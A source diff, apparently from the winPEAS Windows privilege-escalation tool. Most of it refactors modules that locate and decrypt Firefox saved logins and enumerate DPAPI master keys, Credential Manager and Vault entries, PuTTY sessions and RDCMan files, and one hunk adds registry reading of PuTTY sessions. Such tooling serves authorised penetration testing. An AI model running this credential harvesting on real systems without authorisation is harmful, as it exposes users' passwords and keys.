||||
{
|
||||
string userFirefoxBasePath = $"{dir}\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\";
|
||||
if (System.IO.Directory.Exists(userFirefoxBasePath))
|
||||
if (Directory.Exists(userFirefoxBasePath))
|
||||
{
|
||||
var directories = Directory.EnumerateDirectories(userFirefoxBasePath);
|
||||
foreach (string directory in directories)
|
||||
@@ -248,6 +253,8 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
}
|
||||
|
||||
foreach (string dir in dirs)
|
||||
{
|
||||
if (Directory.Exists(dir))
|
||||
{
|
||||
string[] files = Directory.EnumerateFiles(dir, "signons.sqlite").ToArray();
|
||||
if (files.Length > 0)
|
||||
@@ -269,6 +276,7 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
FFDecryptor.NSS_Init(dir);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -313,8 +321,8 @@ namespace winPEAS.KnownFileCreds.Browsers.Firefox
|
||||
|
||||
foreach (Browsers.Firefox.LoginData loginData in ffLoginData.logins)
|
||||
{
|
||||
string username = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedUsername);
|
||||
string password = Browsers.Firefox.FFDecryptor.Decrypt(loginData.encryptedPassword);
|
||||
string username = FFDecryptor.Decrypt(loginData.encryptedUsername);
|
||||
string password = FFDecryptor.Decrypt(loginData.encryptedPassword);
|
||||
logins.Add(new CredentialModel
|
||||
{
|
||||
Username = username,
|
||||
|
||||
@@ -1,11 +1,11 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Checks;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
@@ -30,7 +30,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
{
|
||||
Beaprint.MainPrint("Current IE tabs");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
List<string> urls = InternetExplorer.GetCurrentIETabs();
|
||||
List<string> urls = GetCurrentIETabs();
|
||||
|
||||
Dictionary<string, string> colorsB = new Dictionary<string, string>()
|
||||
{
|
||||
@@ -51,9 +51,9 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
{
|
||||
Beaprint.MainPrint("Looking for GET credentials in IE history");
|
||||
Beaprint.LinkPrint("https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-history");
|
||||
Dictionary<string, List<string>> chromeHistBook = InternetExplorer.GetIEHistFav();
|
||||
List<string> history = chromeHistBook["history"];
|
||||
List<string> favorites = chromeHistBook["favorites"];
|
||||
Dictionary<string, List<string>> ieHistoryBook = GetIEHistFav();
|
||||
List<string> history = ieHistoryBook["history"];
|
||||
List<string> favorites = ieHistoryBook["favorites"];
|
||||
|
||||
if (history.Count > 0)
|
||||
{
|
||||
@@ -69,8 +69,15 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
Beaprint.AnsiPrint(" " + url, colorsB);
|
||||
}
|
||||
}
|
||||
|
||||
Console.WriteLine();
|
||||
|
||||
int limit = 50;
|
||||
Beaprint.MainPrint($"IE history -- limit {limit}\n");
|
||||
Beaprint.ListPrint(history.Take(limit).ToList());
|
||||
}
|
||||
else
|
||||
{
|
||||
Beaprint.NotFoundPrint();
|
||||
}
|
||||
|
||||
Beaprint.MainPrint("IE favorites");
|
||||
@@ -91,7 +98,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
{ "favorites", new List<string>() },
|
||||
};
|
||||
|
||||
DateTime startTime = System.DateTime.Now.AddDays(-lastDays);
|
||||
DateTime startTime = DateTime.Now.AddDays(-lastDays);
|
||||
|
||||
try
|
||||
{
|
||||
@@ -166,24 +173,15 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
if ((settings != null) && (settings.Count != 0))
|
||||
{
|
||||
foreach (KeyValuePair<string, object> kvp in settings)
|
||||
{
|
||||
byte[] timeBytes = RegistryHelper.GetRegValueBytes("HKCU", "SOFTWARE\\Microsoft\\Internet Explorer\\TypedURLsTime", kvp.Key.ToString().Trim());
|
||||
if (timeBytes != null)
|
||||
{
|
||||
long timeLong = (long)(BitConverter.ToInt64(timeBytes, 0));
|
||||
DateTime urlTime = DateTime.FromFileTime(timeLong);
|
||||
if (urlTime > startTime)
|
||||
{
|
||||
results["history"].Add(kvp.Value.ToString().Trim());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
string userIEBookmarkPath = string.Format("{0}\\Favorites\\", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
|
||||
string userIEBookmarkPath = string.Format("{0}\\Favorites\\", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
if (Directory.Exists(userIEBookmarkPath))
|
||||
{
|
||||
string[] bookmarkPaths = Directory.EnumerateFiles(userIEBookmarkPath, "*.url", SearchOption.AllDirectories).ToArray();
|
||||
|
||||
foreach (string bookmarkPath in bookmarkPaths)
|
||||
{
|
||||
using (StreamReader rdr = new StreamReader(bookmarkPath))
|
||||
@@ -204,6 +202,7 @@ namespace winPEAS.KnownFileCreds.Browsers
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Beaprint.GrayPrint(string.Format(" [X] Exception: {0}", ex));
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
@@ -6,7 +7,6 @@ using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Text.RegularExpressions;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
|
||||
@@ -76,7 +76,7 @@ namespace winPEAS.KnownFileCreds
|
||||
else
|
||||
{
|
||||
var currentUserDir = Environment.GetEnvironmentVariable("USERPROFILE");
|
||||
userDirs = new List<string>{ currentUserDir };
|
||||
userDirs = new List<string> { currentUserDir };
|
||||
}
|
||||
|
||||
foreach (var userDir in userDirs)
|
||||
@@ -123,7 +123,7 @@ namespace winPEAS.KnownFileCreds
|
||||
// parses recent file shortcuts via COM
|
||||
List<Dictionary<string, string>> results = new List<Dictionary<string, string>>();
|
||||
int lastDays = 7;
|
||||
DateTime startTime = System.DateTime.Now.AddDays(-lastDays);
|
||||
DateTime startTime = DateTime.Now.AddDays(-lastDays);
|
||||
|
||||
try
|
||||
{
|
||||
@@ -144,6 +144,8 @@ namespace winPEAS.KnownFileCreds
|
||||
{
|
||||
string recentPath = string.Format("{0}\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\", dir);
|
||||
try
|
||||
{
|
||||
if (Directory.Exists(recentPath))
|
||||
{
|
||||
string[] recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories).ToArray();
|
||||
|
||||
@@ -152,7 +154,7 @@ namespace winPEAS.KnownFileCreds
|
||||
Console.WriteLine(" {0} :\r\n", userName);
|
||||
foreach (string recentFile in recentFiles)
|
||||
{
|
||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(recentFile);
|
||||
DateTime lastAccessed = File.GetLastAccessTime(recentFile);
|
||||
|
||||
if (lastAccessed > startTime)
|
||||
{
|
||||
@@ -174,14 +176,16 @@ namespace winPEAS.KnownFileCreds
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
string recentPath = string.Format("{0}\\Microsoft\\Windows\\Recent\\", System.Environment.GetEnvironmentVariable("APPDATA"));
|
||||
|
||||
string recentPath = string.Format("{0}\\Microsoft\\Windows\\Recent\\", Environment.GetEnvironmentVariable("APPDATA"));
|
||||
if (Directory.Exists(recentPath))
|
||||
{
|
||||
var recentFiles = Directory.EnumerateFiles(recentPath, "*.lnk", SearchOption.AllDirectories);
|
||||
|
||||
foreach (string recentFile in recentFiles)
|
||||
@@ -190,7 +194,7 @@ namespace winPEAS.KnownFileCreds
|
||||
//WshShell shell = new WshShell();
|
||||
//IWshShortcut shortcut = (IWshShortcut)shell.CreateShortcut(recentFile);
|
||||
|
||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(recentFile);
|
||||
DateTime lastAccessed = File.GetLastAccessTime(recentFile);
|
||||
|
||||
if (lastAccessed > startTime)
|
||||
{
|
||||
@@ -210,6 +214,7 @@ namespace winPEAS.KnownFileCreds
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// release the WshShell COM object
|
||||
Marshal.ReleaseComObject(shellObj);
|
||||
shellObj = null;
|
||||
@@ -237,13 +242,15 @@ namespace winPEAS.KnownFileCreds
|
||||
string userName = parts[parts.Length - 1];
|
||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||
{
|
||||
List<string> userDPAPIBasePaths = new List<string>();
|
||||
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
||||
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
||||
List<string> userDPAPIBasePaths = new List<string>
|
||||
{
|
||||
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE")),
|
||||
string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE"))
|
||||
};
|
||||
|
||||
foreach (string userDPAPIBasePath in userDPAPIBasePaths)
|
||||
{
|
||||
if (System.IO.Directory.Exists(userDPAPIBasePath))
|
||||
if (Directory.Exists(userDPAPIBasePath))
|
||||
{
|
||||
var directories = Directory.EnumerateDirectories(userDPAPIBasePath);
|
||||
foreach (string directory in directories)
|
||||
@@ -254,9 +261,9 @@ namespace winPEAS.KnownFileCreds
|
||||
{
|
||||
if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
|
||||
{
|
||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
||||
string fileName = System.IO.Path.GetFileName(file);
|
||||
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||
DateTime lastModified = File.GetLastWriteTime(file);
|
||||
string fileName = Path.GetFileName(file);
|
||||
results.Add(new Dictionary<string, string>()
|
||||
{
|
||||
{ "MasterKey", file },
|
||||
@@ -274,13 +281,15 @@ namespace winPEAS.KnownFileCreds
|
||||
else
|
||||
{
|
||||
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
||||
List<string> userDPAPIBasePaths = new List<string>();
|
||||
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
||||
userDPAPIBasePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
||||
List<string> userDPAPIBasePaths = new List<string>
|
||||
{
|
||||
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE")),
|
||||
string.Format("{0}\\AppData\\Local\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("USERPROFILE"))
|
||||
};
|
||||
|
||||
foreach (string userDPAPIBasePath in userDPAPIBasePaths)
|
||||
{
|
||||
if (System.IO.Directory.Exists(userDPAPIBasePath))
|
||||
if (Directory.Exists(userDPAPIBasePath))
|
||||
{
|
||||
var directories = Directory.EnumerateDirectories(userDPAPIBasePath);
|
||||
foreach (string directory in directories)
|
||||
@@ -291,9 +300,9 @@ namespace winPEAS.KnownFileCreds
|
||||
{
|
||||
if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}"))
|
||||
{
|
||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
||||
string fileName = System.IO.Path.GetFileName(file);
|
||||
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||
DateTime lastModified = File.GetLastWriteTime(file);
|
||||
string fileName = Path.GetFileName(file);
|
||||
results.Add(new Dictionary<string, string>()
|
||||
{
|
||||
{ "MasterKey", file },
|
||||
@@ -331,23 +340,25 @@ namespace winPEAS.KnownFileCreds
|
||||
string userName = parts[parts.Length - 1];
|
||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||
{
|
||||
List<string> userCredFilePaths = new List<string>();
|
||||
userCredFilePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", dir));
|
||||
userCredFilePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", dir));
|
||||
List<string> userCredFilePaths = new List<string>
|
||||
{
|
||||
string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", dir),
|
||||
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", dir)
|
||||
};
|
||||
|
||||
foreach (string userCredFilePath in userCredFilePaths)
|
||||
{
|
||||
if (System.IO.Directory.Exists(userCredFilePath))
|
||||
if (Directory.Exists(userCredFilePath))
|
||||
{
|
||||
var systemFiles = Directory.EnumerateFiles(userCredFilePath);
|
||||
if ((systemFiles != null))
|
||||
{
|
||||
foreach (string file in systemFiles)
|
||||
{
|
||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
||||
long size = new System.IO.FileInfo(file).Length;
|
||||
string fileName = System.IO.Path.GetFileName(file);
|
||||
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||
DateTime lastModified = File.GetLastWriteTime(file);
|
||||
long size = new FileInfo(file).Length;
|
||||
string fileName = Path.GetFileName(file);
|
||||
|
||||
// jankily parse the bytes to extract the credential type and master key GUID
|
||||
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
||||
@@ -381,15 +392,17 @@ namespace winPEAS.KnownFileCreds
|
||||
}
|
||||
|
||||
string systemFolder = string.Format("{0}\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials", Environment.GetEnvironmentVariable("SystemRoot"));
|
||||
if (Directory.Exists(systemFolder))
|
||||
{
|
||||
var files = Directory.EnumerateFiles(systemFolder);
|
||||
if ((files != null))
|
||||
{
|
||||
foreach (string file in files)
|
||||
{
|
||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
||||
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||
DateTime lastModified = File.GetLastWriteTime(file);
|
||||
long size = new System.IO.FileInfo(file).Length;
|
||||
string fileName = System.IO.Path.GetFileName(file);
|
||||
string fileName = Path.GetFileName(file);
|
||||
|
||||
// jankily parse the bytes to extract the credential type and master key GUID
|
||||
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
||||
@@ -418,12 +431,15 @@ namespace winPEAS.KnownFileCreds
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
||||
List<string> userCredFilePaths = new List<string>();
|
||||
userCredFilePaths.Add(string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
||||
userCredFilePaths.Add(string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", System.Environment.GetEnvironmentVariable("USERPROFILE")));
|
||||
List<string> userCredFilePaths = new List<string>
|
||||
{
|
||||
string.Format("{0}\\AppData\\Local\\Microsoft\\Credentials\\", Environment.GetEnvironmentVariable("USERPROFILE")),
|
||||
string.Format("{0}\\AppData\\Roaming\\Microsoft\\Credentials\\", Environment.GetEnvironmentVariable("USERPROFILE"))
|
||||
};
|
||||
|
||||
foreach (string userCredFilePath in userCredFilePaths)
|
||||
{
|
||||
@@ -433,10 +449,10 @@ namespace winPEAS.KnownFileCreds
|
||||
|
||||
foreach (string file in files)
|
||||
{
|
||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(file);
|
||||
DateTime lastModified = System.IO.File.GetLastWriteTime(file);
|
||||
DateTime lastAccessed = File.GetLastAccessTime(file);
|
||||
DateTime lastModified = File.GetLastWriteTime(file);
|
||||
long size = new System.IO.FileInfo(file).Length;
|
||||
string fileName = System.IO.Path.GetFileName(file);
|
||||
string fileName = Path.GetFileName(file);
|
||||
|
||||
// jankily parse the bytes to extract the credential type and master key GUID
|
||||
// reference- https://github.com/gentilkiwi/mimikatz/blob/3d8be22fff9f7222f9590aa007629e18300cf643/modules/kull_m_dpapi.h#L24-L54
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
|
||||
@@ -20,7 +20,7 @@ namespace winPEAS.KnownFileCreds
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Putty Sessions");
|
||||
List<Dictionary<string, string>> putty_sess = Putty.GetPuttySessions();
|
||||
List<Dictionary<string, string>> putty_sess = GetPuttySessions();
|
||||
|
||||
Dictionary<string, string> colorF = new Dictionary<string, string>()
|
||||
{
|
||||
@@ -39,7 +39,7 @@ namespace winPEAS.KnownFileCreds
|
||||
try
|
||||
{
|
||||
Beaprint.MainPrint("Putty SSH Host keys");
|
||||
List<Dictionary<string, string>> putty_sess = Putty.ListPuttySSHHostKeys();
|
||||
List<Dictionary<string, string>> putty_sess = ListPuttySSHHostKeys();
|
||||
Dictionary<string, string> colorF = new Dictionary<string, string>()
|
||||
{
|
||||
{ ".*", Beaprint.ansi_color_bad },
|
||||
@@ -129,6 +129,24 @@ namespace winPEAS.KnownFileCreds
|
||||
else
|
||||
{
|
||||
string[] subKeys = RegistryHelper.GetRegSubkeys("HKCU", "Software\\SimonTatham\\PuTTY\\Sessions\\");
|
||||
RegistryKey selfKey = Registry.CurrentUser.OpenSubKey(@"Software\\SimonTatham\\PuTTY\\Sessions"); // extract own Sessions registry keys
|
||||
|
||||
if (selfKey != null)
|
||||
{
|
||||
string[] subKeyNames = selfKey.GetValueNames();
|
||||
foreach (string name in subKeyNames)
|
||||
{
|
||||
Dictionary<string, string> putty_sess_key = new Dictionary<string, string>()
|
||||
{
|
||||
{ "RegKey Name", name },
|
||||
{ "RegKey Value", (string)selfKey.GetValue(name) },
|
||||
};
|
||||
|
||||
results.Add(putty_sess_key);
|
||||
}
|
||||
selfKey.Close();
|
||||
}
|
||||
|
||||
foreach (string sessionName in subKeys)
|
||||
{
|
||||
Dictionary<string, string> putty_sess = new Dictionary<string, string>()
|
||||
@@ -182,8 +200,10 @@ namespace winPEAS.KnownFileCreds
|
||||
Dictionary<string, object> hostKeys = RegistryHelper.GetRegValues("HKU", string.Format("{0}\\Software\\SimonTatham\\PuTTY\\SshHostKeys\\", SID));
|
||||
if ((hostKeys != null) && (hostKeys.Count != 0))
|
||||
{
|
||||
Dictionary<string, string> putty_ssh = new Dictionary<string, string>();
|
||||
putty_ssh["UserSID"] = SID;
|
||||
Dictionary<string, string> putty_ssh = new Dictionary<string, string>
|
||||
{
|
||||
["UserSID"] = SID
|
||||
};
|
||||
foreach (KeyValuePair<string, object> kvp in hostKeys)
|
||||
{
|
||||
putty_ssh[kvp.Key] = ""; //Looks like only matters the key name, not the value
|
||||
|
||||
@@ -1,8 +1,8 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Xml;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.Helpers;
|
||||
using winPEAS.Helpers.Registry;
|
||||
|
||||
@@ -77,7 +77,7 @@ namespace winPEAS.KnownFileCreds
|
||||
if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")))
|
||||
{
|
||||
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", dir);
|
||||
if (System.IO.File.Exists(userRDManFile))
|
||||
if (File.Exists(userRDManFile))
|
||||
{
|
||||
XmlDocument xmlDoc = new XmlDocument();
|
||||
xmlDoc.Load(userRDManFile);
|
||||
@@ -87,8 +87,8 @@ namespace winPEAS.KnownFileCreds
|
||||
XmlNodeList items = filesToOpen[0].ChildNodes;
|
||||
XmlNode node = items[0];
|
||||
|
||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile);
|
||||
DateTime lastModified = System.IO.File.GetLastWriteTime(userRDManFile);
|
||||
DateTime lastAccessed = File.GetLastAccessTime(userRDManFile);
|
||||
DateTime lastModified = File.GetLastWriteTime(userRDManFile);
|
||||
Dictionary<string, string> rdg = new Dictionary<string, string>(){
|
||||
{ "RDCManFile", userRDManFile },
|
||||
{ "Accessed", string.Format("{0}", lastAccessed) },
|
||||
@@ -107,9 +107,9 @@ namespace winPEAS.KnownFileCreds
|
||||
else
|
||||
{
|
||||
string userName = Environment.GetEnvironmentVariable("USERNAME");
|
||||
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", System.Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
string userRDManFile = string.Format("{0}\\AppData\\Local\\Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings", Environment.GetEnvironmentVariable("USERPROFILE"));
|
||||
|
||||
if (System.IO.File.Exists(userRDManFile))
|
||||
if (File.Exists(userRDManFile))
|
||||
{
|
||||
XmlDocument xmlDoc = new XmlDocument();
|
||||
xmlDoc.Load(userRDManFile);
|
||||
@@ -119,8 +119,8 @@ namespace winPEAS.KnownFileCreds
|
||||
XmlNodeList items = filesToOpen[0].ChildNodes;
|
||||
XmlNode node = items[0];
|
||||
|
||||
DateTime lastAccessed = System.IO.File.GetLastAccessTime(userRDManFile);
|
||||
DateTime lastModified = System.IO.File.GetLastWriteTime(userRDManFile);
|
||||
DateTime lastAccessed = File.GetLastAccessTime(userRDManFile);
|
||||
DateTime lastModified = File.GetLastWriteTime(userRDManFile);
|
||||
Dictionary<string, string> rdg = new Dictionary<string, string>(){
|
||||
{ "RDCManFile", userRDManFile },
|
||||
{ "Accessed", string.Format("{0}", lastAccessed) },
|
||||
|
||||
@@ -209,7 +209,7 @@ namespace winPEAS.KnownFileCreds.SecurityPackages
|
||||
{
|
||||
return new NtlmHashInfo(
|
||||
"NetNTLMv2",
|
||||
FormatNetNtlmV2Hash(challenge, user, domain, SubArray(nt_resp, 0, 16), SubArray(nt_resp,16, nt_resp.Length - 16))
|
||||
FormatNetNtlmV2Hash(challenge, user, domain, SubArray(nt_resp, 0, 16), SubArray(nt_resp, 16, nt_resp.Length - 16))
|
||||
);
|
||||
}
|
||||
else
|
||||
|
||||
@@ -24,6 +24,8 @@ namespace winPEAS.KnownFileCreds.SuperPutty
|
||||
try
|
||||
{
|
||||
var path = $"{dir}\\Documents\\SuperPuTTY\\";
|
||||
if (Directory.Exists(path))
|
||||
{
|
||||
var files = Directory.EnumerateFiles(path, filter, SearchOption.TopDirectoryOnly);
|
||||
|
||||
foreach (var file in files)
|
||||
@@ -31,6 +33,7 @@ namespace winPEAS.KnownFileCreds.SuperPutty
|
||||
Beaprint.BadPrint($" {file}");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
}
|
||||
|
||||
@@ -45,16 +45,18 @@ namespace winPEAS.KnownFileCreds.Vault
|
||||
|
||||
// Create dictionary to translate Guids to human readable elements
|
||||
IntPtr guidAddress = vaultGuidPtr;
|
||||
Dictionary<Guid, string> vaultSchema = new Dictionary<Guid, string>();
|
||||
vaultSchema.Add(new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note");
|
||||
vaultSchema.Add(new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential");
|
||||
vaultSchema.Add(new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector");
|
||||
vaultSchema.Add(new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials");
|
||||
vaultSchema.Add(new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials");
|
||||
vaultSchema.Add(new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential");
|
||||
vaultSchema.Add(new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential");
|
||||
vaultSchema.Add(new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential");
|
||||
vaultSchema.Add(new Guid("00000000-0000-0000-0000-000000000000"), null);
|
||||
Dictionary<Guid, string> vaultSchema = new Dictionary<Guid, string>
|
||||
{
|
||||
{ new Guid("2F1A6504-0641-44CF-8BB5-3612D865F2E5"), "Windows Secure Note" },
|
||||
{ new Guid("3CCD5499-87A8-4B10-A215-608888DD3B55"), "Windows Web Password Credential" },
|
||||
{ new Guid("154E23D0-C644-4E6F-8CE6-5069272F999F"), "Windows Credential Picker Protector" },
|
||||
{ new Guid("4BF4C442-9B8A-41A0-B380-DD4A704DDB28"), "Web Credentials" },
|
||||
{ new Guid("77BC582B-F0A6-4E15-4E80-61736B6F3B29"), "Windows Credentials" },
|
||||
{ new Guid("E69D7838-91B5-4FC9-89D5-230D4D4CC2BC"), "Windows Domain Certificate Credential" },
|
||||
{ new Guid("3E0E35BE-1B77-43E7-B873-AED901B6275B"), "Windows Domain Password Credential" },
|
||||
{ new Guid("3C886FF3-2669-4AA2-A8FB-3F6759A77548"), "Windows Extended Credential" },
|
||||
{ new Guid("00000000-0000-0000-0000-000000000000"), null }
|
||||
};
|
||||
|
||||
for (int i = 0; i < vaultCount; i++)
|
||||
{
|
||||
@@ -167,7 +169,7 @@ namespace winPEAS.KnownFileCreds.Vault
|
||||
vault_cred["PacakgeSid"] = string.Format("{0}", packageSid);
|
||||
}
|
||||
vault_cred["Credential"] = string.Format("{0}", cred);
|
||||
vault_cred["Last Modified"] = string.Format("{0}", System.DateTime.FromFileTimeUtc((long)lastModified));
|
||||
vault_cred["Last Modified"] = string.Format("{0}", DateTime.FromFileTimeUtc((long)lastModified));
|
||||
results.Add(vault_cred);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,7 +1,6 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Native.Enums;
|
||||
using winPEAS.TaskScheduler.TaskEditor.Native;
|
||||
|
||||
namespace winPEAS.Native.Classes
|
||||
{
|
||||
|
||||
@@ -1,7 +1,5 @@
|
||||
using System;
|
||||
using System.Runtime.ConstrainedExecution;
|
||||
using System.Runtime.InteropServices;
|
||||
using winPEAS.Info.SystemInfo.NamedPipes;
|
||||
|
||||
namespace winPEAS.Native
|
||||
{
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
|
||||
@@ -2,8 +2,6 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Security.AccessControl;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace winPEAS.TaskScheduler
|
||||
{
|
||||
@@ -20,7 +18,7 @@ namespace winPEAS.TaskScheduler
|
||||
var aces = new System.Collections.Generic.List<GenericAce>(acl.Cast<GenericAce>());
|
||||
|
||||
// Sort aces based on canonical order
|
||||
aces.Sort((a, b) => System.Collections.Generic.Comparer<byte>.Default.Compare(GetComparisonValue(a), GetComparisonValue(b)));
|
||||
aces.Sort((a, b) => Comparer<byte>.Default.Compare(GetComparisonValue(a), GetComparisonValue(b)));
|
||||
|
||||
// Add sorted aces back to ACL
|
||||
while (acl.Count > 0) acl.RemoveAce(0);
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
using System;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Xml.Serialization;
|
||||
using Microsoft.Win32;
|
||||
using winPEAS.TaskScheduler.V1;
|
||||
using winPEAS.TaskScheduler.V2;
|
||||
|
||||
@@ -1013,8 +1013,8 @@ namespace winPEAS.TaskScheduler
|
||||
if (sourceAction.GetType() == GetType())
|
||||
{
|
||||
base.CopyProperties(sourceAction);
|
||||
Title = ((ShowMessageAction) sourceAction).Title;
|
||||
